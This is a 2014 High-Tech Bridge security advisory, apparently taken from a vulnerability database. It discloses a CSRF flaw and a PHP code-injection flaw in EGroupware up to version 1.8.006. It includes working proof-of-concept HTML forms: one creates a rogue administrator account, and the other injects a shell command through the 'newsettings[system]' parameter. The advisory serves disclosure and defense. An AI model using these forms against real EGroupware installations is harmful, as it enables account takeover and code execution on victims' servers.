Lucene search

K
htbridgeHigh-Tech BridgeHTB23212
HistoryApr 23, 2014 - 12:00 a.m.

CSRF and Remote Code Execution in EGroupware

2014-04-2300:00:00
High-Tech Bridge
www.htbridge.com
27

8.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:S/C:C/I:C/A:C

0.018 Low

EPSS

Percentile

86.6%

High-Tech Bridge Security Research Lab discovered CSRF and Remote Code Execution vulnerabilities in EGroupware, which can be exploited by remote attacker to gain full control over the application and compromise vulnerable system.

  1. Сross-Site Request Forgery (CSRF) in EGroupware: CVE-2014-2987

The vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can create a new user account with administrative privileges by tricking logged-in Groupware administrator to visit a malicious pages with CSRF exploit.
Simple CSRF exploit below creates new administrator with login “immuniweb” and password “immuniweb”:
<form action=“http://[host]/index.php?menuaction=admin.uiaccounts.add_user” method=“post” name=“main”>
<input type=“hidden” name=“account_lid” value=“immuniweb”>
<input type=“hidden” name=“account_status” value=“A”>
<input type=“hidden” name=“account_firstname” value=“firstname”>
<input type=“hidden” name=“account_lastname” value=“lastname”>
<input type=“hidden” name=“account_passwd” value=“immuniweb”>
<input type=“hidden” name=“account_passwd_2” value=“immuniweb”>
<input type=“hidden” name=“changepassword” value=“1”>
<input type=“hidden” name=“expires” value=“2014/04/29”>
<input type=“hidden” name=“never_expires” value=“True”>
<input type=“hidden” name=“account_email” value="[email protected]">
<input type=“hidden” name=“account_groups[]” value=“-2”>
<input type=“hidden” name=“account_primary_group” value=“-2”>
<input type=“hidden” name=“submit” value=“Add”>
<input type=“submit” id=“btn”>
</form>

  1. Code Injection in EGroupware: CVE-2014-2988

The vulnerability exists due to insufficient sanitisation of input data passed via the HTTP POST “newsettings” parameter to PHP function “call_user_func()”. A remote attacker with administrative privileges can inject and execute arbitrary PHP code on the target system with privileges of the webserver.

This vulnerability can be exploited in pair with the above-described CSRF vulnerability.
The following exploitation example writes “immuniweb” word into file “/1.php”:
<form action=“http://[host]/index.php?menuaction=admin.uiconfig.index&appname=phpb rain” method=“post” name=“main”>
<input type=“hidden” name=“newsettings[system]” value=“echo immuniweb>1.php”>
<input type=“hidden” name=“submit” value=“Save”>
<input type=“submit” id=“btn”>
</form>

CPENameOperatorVersion
egroupwarele1.8.006

8.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:S/C:C/I:C/A:C

0.018 Low

EPSS

Percentile

86.6%